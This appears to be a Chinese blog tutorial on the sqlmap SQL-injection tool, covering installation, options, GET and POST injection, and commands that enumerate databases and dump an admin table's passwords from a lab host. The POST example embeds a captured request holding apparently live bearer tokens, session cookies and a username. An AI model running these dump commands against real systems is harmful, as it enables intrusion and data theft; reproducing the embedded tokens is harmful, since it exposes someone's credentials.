💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。
img

  • 推荐:kuan 的首页,持续学习,不断总结,共同进步,活到老学到老
  • 导航
    • 檀越剑指大厂系列:全面总结 java 核心技术点,如集合,jvm,并发编程 redis,kafka,Spring,微服务,Netty 等
    • 常用开发工具系列:罗列常用的开发工具,如 IDEA,Mac,Alfred,electerm,Git,typora,apifox 等
    • 数据库系列:详细总结了常用数据库 mysql 技术点,以及工作中遇到的 mysql 问题等
    • 懒人运维系列:总结好用的命令,解放双手不香吗?能用一个命令完成绝不用两个操作
    • 数据结构与算法系列:总结数据结构和算法,不同类型针对性训练,提升编程思维,剑指大厂

非常期待和您一起在这个小小的网络世界里共同探索、学习和成长。💝💝💝 ✨✨ 欢迎订阅本专栏 ✨✨

一.介绍

sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执行各种任务,例如提取数据,访问底层文件系统以及在操作系统上执行命令。

SQLmap 支持多种数据库管理系统,包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。它可以通过命令行界面或图形化界面进行操作,并提供了丰富的选项和功能,例如指定注入点、指定注入方式、指定数据提取方式等。同时,它也支持自定义脚本和插件,以扩展其功能和适应更多的情况。SQLmap 被广泛应用于渗透测试、安全研究、教育等领域。

SQLmap 使用 Python 语言编写,可以在多种操作系统上运行,例如 Linux、Windows、Mac OS 等。它的使用方法相对简单,但需要一定的 SQL 注入和渗透测试基础,否则可能会对目标系统造成损害。因此,在使用 SQLmap 时,需要遵循合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可。

为了更好地使用 SQLmap,需要了解 SQL 注入漏洞的原理和利用方式,以及目标系统的相关信息和配置。在使用 SQLmap 进行渗透测试时,需要选择合适的注入点和注入方式,并进行参数配置和结果分析。同时,还需要注意防止被目标系统的安全机制检测和防御,例如使用代理、随机延时、避免过多的请求等。最后,在使用 SQLmap 进行渗透测试时,需要保护好自己的安全和隐私,防止泄露个人信息和被攻击者反制。

二.安装 sqlmap

1.创建目录

cd /usr/bin
mkdir sqlmap-dev

2.拉取代码

git clone https://github.com/sqlmapproject/sqlmap.git

3.配置

vim ~/.bash_profile
source ~/.bash_profile
alias sqlmap='Python3 /usr/bin/sqlmap-dev/sqlmap.py'

4.验证安装

sqlmap #查看版本
salmap -v  #查看版本

三.使用

1.参数说明

-u  指定URL
-p  指定参数
-v  指定显示级别
--dbs  目标服务器中的数据库
--current-db  当前数据库
--tables  目标数据库有什么表
--columns  目标表中有什么列
--dump  获取数据
--batch  跳过问询(yes)之间执行,批处理,在检测过程中会问用户一些问题,使用这个参数统统使用默认值
--dbms  指定数据库类型
--current-user  查看当前用户
--users  查看所有用户
--passwords  数据库密码
--hostname  系统名称
--banner  数据库信息
--roles  数据库用户角色

level 和 risk

在 SQLmap 中,levelrisk是两个重要的选项,用于指定 SQL 注入检测和利用的深度和风险程度。 level选项用于指定检测的深度,取值范围为 1~5,数字越大,检测的深度越深,检测的速度越慢。默认值为 1,表示最浅层的检测。 risk选项用于指定检测和利用的风险程度,取值范围为 0~3,数字越大,风险越高,检测和利用的方式越激进。默认值为 1,表示中等的风险程度。 在使用 SQLmap 时,根据实际情况选择合适的levelrisk选项,可以提高检测和利用的效率和成功率,同时避免对目标系统造成过多的影响和损害。

需要注意的是,levelrisk选项虽然可以提高检测和利用的效率和成功率,但也会增加误报和误判的风险,甚至可能引发系统崩溃和数据损坏等问题。因此,在使用这两个选项时,需要谨慎评估风险和影响,并进行充分的测试和验证。同时,还需要遵守合法、合规、道德的原则,遵守法律法规,并获得相关授权和许可,以避免违法和不当行为带来的法律和道德风险。

Sqlmap 一共有 5 个探测等级,默认是 1。等级越高,说明探测时使用的 payload 也越多。其中 5 级的 payload 最多,会自动破解出 cookie、XFF 等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET 和 POST 的数据都会进行测试,HTTP cookie在 level 为 2 时就会测试,HTTP User-Agent/Referer头在 level 为 3 时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置 level 为5

sqlmap 一共有 3 个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为 3 级

如下,设置探测等级 5,平台危险等级 3,都是最高级别,进行扫描:

sqlmap -u "http://xxx:7777/Less-1/" --level=5 --risk=3

2.get 方法

1.判断是否有注入点
sqlmap -u "目标url"
2.查看数据库
sqlmap -u "目标_url" --dbs --dbms mysql

--dbms=DBMS #指定目标数据库类型
3.当前数据库
sqlmap -u "目标_url" --current-db --dbms mysql
4.字段获取
 sqlmap -u "目标url" -D 库名 -T 表名 --columns
5.指定字段内容
 sqlmap -u "目标url" -D 库名 -T 表名 -C 字段名1,字段名2,等等 --dump
     -C COL 指定从某个列查询数据
    --dump 查询指定范围的全部数据
        (对加密的密码进行彩虹表攻击)
6.样例
sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch

3.post 方式

1.保存参数

post.txt

POST /xxx-dsc-insight/test/prd/open-api/v1/sku/ck/v1.8.4/page?appid=0 HTTP/1.1
Host: xxx-uat.net.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
brandDetailNo: BS01
application: command
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM
uid: rongdi
Content-Type: application/json;charset=utf-8
silent: true
Content-Length: 310
Origin: https://xxx-uat.net.cn
Connection: close
Referer: https://xxx-uat.net.cn/test/command/bs01/
Cookie: route=4daa8dd1683d45d93b8d439c25742107; brand-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwiaXNzIjoiZGVlcGV4aS1kc2MtYmVsbGUtaW5zaWdodCIsInNuIjoi6I2j6YCSIiwidXNlclR5cGUiOiJicmFuZCIsInVzZXJOYW1lIjoi6I2j6YCSIiwiZXhwIjoxNjc2Njk5NjMzLCJ1c2VySWQiOjM0MSwiaWF0IjoxNjc1ODM1NjMzLCJ1c2VyRW1wbG95ZWVOdW1iZXIiOiJyb25nZGkiLCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.PIZ5HapYBE62YAn5swGDyKjj9JAVXPIvEkJ8qPrlKUY; userId=undefined; tenantId=undefined; expires_in=undefined; refresh_token=undefined; groupId=undefined; _ati=3597590558839; JSESSIONID=88CF2B86EDCE43CA57C3B623FA4A3F13; sensorsdata2015jssdkcross=%7B%22distinct_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%2C%22first_id%22%3A%22%22%2C%22props%22%3A%7B%22%24latest_traffic_source_type%22%3A%22%E7%9B%B4%E6%8E%A5%E6%B5%81%E9%87%8F%22%2C%22%24latest_search_keyword%22%3A%22%E6%9C%AA%E5%8F%96%E5%88%B0%E5%80%BC_%E7%9B%B4%E6%8E%A5%E6%89%93%E5%BC%80%22%2C%22%24latest_referrer%22%3A%22%22%7D%2C%22identities%22%3A%22eyIkaWRlbnRpdHlfY29va2llX2lkIjoiMTg2MmY5N2NhZTQxODUtMDhkNmU5ZTA2NTIyYzQtYzVkNTQyOC0yMDczNjAwLTE4NjJmOTdjYWU1NGU4In0%3D%22%2C%22history_login_id%22%3A%7B%22name%22%3A%22%22%2C%22value%22%3A%22%22%7D%2C%22%24device_id%22%3A%221862f97cae4185-08d6e9e06522c4-c5d5428-2073600-1862f97cae54e8%22%7D; sajssdk_2015_cross_new_user=1; qa-token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOiJyb25nZGkiLCJzdWIiOiJOVUxMIiwibW9iaWxlIjoiTlVMTCIsImlzcyI6ImRlZXBleGktZHNjLWJlbGxlLWluc2lnaHQiLCJzbiI6IuiNo-mAkiIsImV4cCI6MTY3NjY5OTc0NCwiaWF0IjoxNjc1ODM1NzQ0LCJqdGkiOiJyb25nZGkiLCJlbXBsb3llZU51bWJlciI6Ik5VTEwifQ.GeZhmSvBD7eQ5TEaxj1UCIq7dte8RRzPBSZoM1TEsaM; qa-userId=undefined; qa-tenantId=undefined; qa-expires_in=undefined; qa-refresh_token=undefined; qa-groupId=undefined
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"businesscityno":"1","categoryname1":"1","categoryno2":"-1","categoryno3":"-1","date":"2023-02-06","gendername":"7","invqtylist":["c"],"isinvqty":0,"operateevent":"':","page":1,"productcode":"","productyearname":"","regionname":"","regionno":"c","seasonname":"","size":80,"sortname":"salqty","sortord":"desc"}
2.执行
sqlmap -r /Users/qinyingjie/Downloads/post2.txt -p "categoryname1" --level 5 --risk 3 --batch
3.查询结果

image-20230208153825650

四.常用

1.查询库名

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" --dbs

2.查询表

-D 指定库名

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe --tables

3.查询列

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin --columns

4.查询列值

吃牢饭指令

python sqlmap.py -u "http://rhiq8003.ia.aqlab.cn/?id=1" -D maoshe -T admin -C password --dump

觉得有用的话点个赞 👍🏻 呗。

❤️❤️❤️本人水平有限,如有纰漏,欢迎各位大佬评论批评指正!😄😄😄

💘💘💘如果觉得这篇文对你有帮助的话,也请给个点赞、收藏下吧,非常感谢!👍 👍 👍

🔥🔥🔥Stay Hungry Stay Foolish 道阻且长,行则将至,让我们一起加油吧!🌙🌙🌙

img

Logo

更多推荐